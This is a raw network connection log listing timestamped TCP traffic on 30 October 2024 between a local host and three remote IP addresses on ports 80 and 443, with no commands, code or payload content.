Oct 30, 2024 15:59:03.124660969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:03.124766111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:03.125329971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:03.130702019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.036372900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.036557913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.042735100 CET	49673	443	192.168.2.6	173.222.162.64
Oct 30, 2024 15:59:04.042738914 CET	49674	443	192.168.2.6	173.222.162.64
Oct 30, 2024 15:59:04.047686100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.053143024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.128247023 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:04.128288984 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:04.128376007 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:04.128827095 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:04.128838062 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:04.337783098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.337865114 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.340013027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.345485926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.370896101 CET	49672	443	192.168.2.6	173.222.162.64
Oct 30, 2024 15:59:04.623322010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.623349905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.623425007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.623465061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.624996901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.630337000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.881035089 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:04.881196022 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:04.883888006 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:04.883903027 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:04.884325981 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:04.894390106 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:04.909523964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909549952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909569979 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909624100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.909672976 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.909749031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909761906 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909795046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.909796953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909811974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909821033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.909835100 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.909842014 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.909861088 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.909874916 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.911612988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:04.917112112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:04.935372114 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.144023895 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.144053936 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.144073963 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.144155979 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.144186020 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.144267082 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.193166018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.193274021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:05.212642908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:05.212642908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:05.218246937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.218264103 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.218379974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.218451977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.218550920 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.218563080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.218579054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:05.261532068 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.261549950 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.261637926 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.261657953 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.261703014 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.380018950 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.380044937 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.380203962 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.380225897 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.380290985 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.498054981 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.498073101 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.498219013 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.498234034 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.498286009 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.616210938 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.616234064 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.616333008 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.616352081 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.616400003 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.733730078 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.733757019 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.733907938 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.733936071 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.733983040 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.776932955 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.776949883 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.777090073 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.777101994 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.777144909 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.852751017 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.852768898 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.852844954 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.852859974 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.852904081 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.969608068 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.969631910 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.969739914 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:05.969762087 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:05.969805002 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.005985975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.006072044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.086678982 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.086700916 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.086889029 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.086905956 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.086958885 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.129928112 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.129945040 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.130022049 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.130034924 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.130072117 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.149087906 CET	443	49705	173.222.162.64	192.168.2.6
Oct 30, 2024 15:59:06.149195910 CET	49705	443	192.168.2.6	173.222.162.64
Oct 30, 2024 15:59:06.406517982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.419441938 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.419466019 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.419672012 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.419688940 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.419826984 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.419866085 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.419887066 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.419929028 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.419934988 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.419941902 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.419975996 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.420007944 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.420053959 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.420162916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.420396090 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.420417070 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.420433998 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.420440912 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.481092930 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.481194019 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.481229067 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.481287956 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.481314898 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.481359959 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.481380939 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.481381893 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.481437922 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.481992960 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482014894 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.482086897 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482109070 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482147932 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.482194901 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482228994 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482263088 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482274055 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.482297897 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.482356071 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482382059 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.482422113 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482436895 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.482445002 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:06.482481003 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:06.693532944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.693561077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.693578959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.693648100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.693655014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.693665981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.693681955 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.693686962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.693692923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.693707943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.693718910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.693739891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.693758011 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.694351912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.694396973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.694397926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.694412947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.694434881 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.694447041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.694464922 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.694483042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.695004940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.695045948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.695056915 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.695087910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.849688053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.849733114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.849785089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.849841118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.849862099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.849872112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.849872112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.849920034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.850162029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.850208998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.850228071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.850265980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.850388050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.850426912 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.850435019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.850447893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.850477934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.850485086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.850497007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.850526094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.851082087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.851128101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.851130009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.851140022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.851174116 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.851175070 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.851188898 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.851205111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.966650009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.966661930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.966698885 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.966727972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.966784954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.966886044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.966922998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.967047930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967091084 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967103004 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967103004 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.967139959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.967197895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967210054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967247009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.967794895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967827082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967837095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:06.967847109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.967870951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:06.967886925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.006977081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.007009029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.007019043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.007085085 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.007103920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.083488941 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083513975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083527088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083580971 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083585024 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.083619118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.083650112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.083769083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083812952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083822966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083822966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.083873034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.083908081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083918095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.083960056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.084559917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.084572077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.084592104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.084619045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.084650040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.123476028 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.123517036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.123529911 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.123567104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.123614073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.200647116 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.200679064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.200696945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.200707912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.200748920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.200773001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.200882912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.200931072 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.200934887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.200944901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.200983047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.201054096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.201061010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.201108932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.201611996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.201668024 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.201687098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.201697111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.201739073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.217679977 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.217981100 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.218349934 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.218383074 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.218492031 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.218565941 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.218923092 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.218931913 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.219150066 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.219166994 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.220236063 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.220556974 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.220585108 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.221038103 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.221045971 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.226145983 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.226692915 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.226702929 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.227272034 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.227277994 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.251614094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.251626968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.251643896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.251658916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.251745939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.251816034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.317859888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.317873955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.317889929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.317918062 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.317935944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.317987919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.318015099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.318032026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.318057060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.318072081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.318083048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.318119049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.318142891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.318188906 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.318727016 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.318737030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:07.318785906 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:07.346111059 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.346132040 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.346194983 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.346215010 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.346239090 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.346288919 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.346822023 CET	49716	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:07.346843004 CET	443	49716	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:07.346858978 CET	49716	443	192.168.2.6	13.107.246.45
